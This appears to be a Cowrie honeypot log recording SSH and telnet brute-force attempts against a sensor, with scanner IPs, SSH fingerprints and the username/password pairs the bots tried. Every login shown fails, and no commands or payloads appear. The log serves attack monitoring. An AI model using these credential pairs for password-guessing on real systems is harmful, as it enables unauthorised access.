{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:40.908623Z","src_ip":"160.187.174.22","session":"d96227a4a466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":47550,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2c06f0abbf9","protocol":"ssh","message":"New connection: 77.94.47.83:47550 (10.17.0.5:22) [session: b2c06f0abbf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:41.276752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:41.280624Z","src_ip":"77.94.47.83","session":"b2c06f0abbf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:41.391385Z","src_ip":"77.94.47.83","session":"b2c06f0abbf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"assa1234","message":"login attempt [root/assa1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:41.724385Z","src_ip":"77.94.47.83","session":"b2c06f0abbf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:41.895597Z","src_ip":"160.187.174.22","session":"d96227a4a466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:42.836813Z","src_ip":"77.94.47.83","session":"b2c06f0abbf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:43.130825Z","src_ip":"160.187.174.22","session":"d96227a4a466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":59188,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0c0c4989cb5","protocol":"ssh","message":"New connection: 160.187.174.22:59188 (159.203.135.109:22) [session: f0c0c4989cb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:10.785533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:10.790739Z","src_ip":"160.187.174.22","session":"f0c0c4989cb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:11.031719Z","src_ip":"160.187.174.22","session":"f0c0c4989cb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:11.761490Z","src_ip":"160.187.174.22","session":"f0c0c4989cb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:13.001314Z","src_ip":"160.187.174.22","session":"f0c0c4989cb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":117.46802806854248,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:38.598709Z","src_ip":"170.64.224.25","session":"f13b4cfd9433","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":45484,"dst_ip":"159.203.135.109","dst_port":22,"session":"1be4d4f06d0f","protocol":"ssh","message":"New connection: 160.187.174.22:45484 (159.203.135.109:22) [session: 1be4d4f06d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:39.757529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:39.761422Z","src_ip":"160.187.174.22","session":"1be4d4f06d0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:40.001793Z","src_ip":"160.187.174.22","session":"1be4d4f06d0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:40.717000Z","src_ip":"160.187.174.22","session":"1be4d4f06d0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:41.959346Z","src_ip":"160.187.174.22","session":"1be4d4f06d0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":49822,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dd6e4326ed8","protocol":"ssh","message":"New connection: 91.92.40.4:49822 (10.17.0.5:22) [session: 0dd6e4326ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:52.169253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:52.173404Z","src_ip":"91.92.40.4","session":"0dd6e4326ed8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:52.254141Z","src_ip":"91.92.40.4","session":"0dd6e4326ed8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:52.584019Z","src_ip":"91.92.40.4","session":"0dd6e4326ed8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:53.667735Z","src_ip":"91.92.40.4","session":"0dd6e4326ed8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45272,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f24ca86d461","protocol":"telnet","message":"New connection: 170.64.224.25:45272 (159.203.135.109:23) [session: 4f24ca86d461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:55.523127Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.215.164.223","src_port":46814,"dst_ip":"10.17.0.5","dst_port":22,"session":"161fdd6ce13c","protocol":"ssh","message":"New connection: 185.215.164.223:46814 (10.17.0.5:22) [session: 161fdd6ce13c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:59.764197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:59.770328Z","src_ip":"185.215.164.223","session":"161fdd6ce13c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:55:59.862411Z","src_ip":"185.215.164.223","session":"161fdd6ce13c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dubai","password":"Dubai#Crypto$M@st3r!","message":"login attempt [dubai/Dubai#Crypto$M@st3r!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:00.142333Z","src_ip":"185.215.164.223","session":"161fdd6ce13c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:01.238262Z","src_ip":"185.215.164.223","session":"161fdd6ce13c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":33330,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7148664bba4","protocol":"ssh","message":"New connection: 160.187.174.22:33330 (159.203.135.109:22) [session: e7148664bba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:08.328938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:08.332742Z","src_ip":"160.187.174.22","session":"e7148664bba4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:08.598741Z","src_ip":"160.187.174.22","session":"e7148664bba4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"123456","message":"login attempt [tomcat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:09.328126Z","src_ip":"160.187.174.22","session":"e7148664bba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:10.574045Z","src_ip":"160.187.174.22","session":"e7148664bba4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48614,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5ccb499e63b","protocol":"telnet","message":"New connection: 170.64.224.25:48614 (159.203.135.109:23) [session: a5ccb499e63b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:13.828539Z"}
{"eventid":"cowrie.session.closed","duration":23.549699783325195,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:19.072698Z","src_ip":"170.64.224.25","session":"4f24ca86d461","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":53416,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9935252e1df","protocol":"ssh","message":"New connection: 194.113.233.25:53416 (10.17.0.5:22) [session: a9935252e1df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:30.136818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:30.141496Z","src_ip":"194.113.233.25","session":"a9935252e1df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:30.230574Z","src_ip":"194.113.233.25","session":"a9935252e1df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"260219","message":"login attempt [root/260219] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:30.499276Z","src_ip":"194.113.233.25","session":"a9935252e1df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:31.590324Z","src_ip":"194.113.233.25","session":"a9935252e1df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":43698,"dst_ip":"10.17.0.5","dst_port":22,"session":"18bde3031455","protocol":"ssh","message":"New connection: 103.27.238.114:43698 (10.17.0.5:22) [session: 18bde3031455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:32.262526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:32.266227Z","src_ip":"103.27.238.114","session":"18bde3031455","protocol":"ssh"}
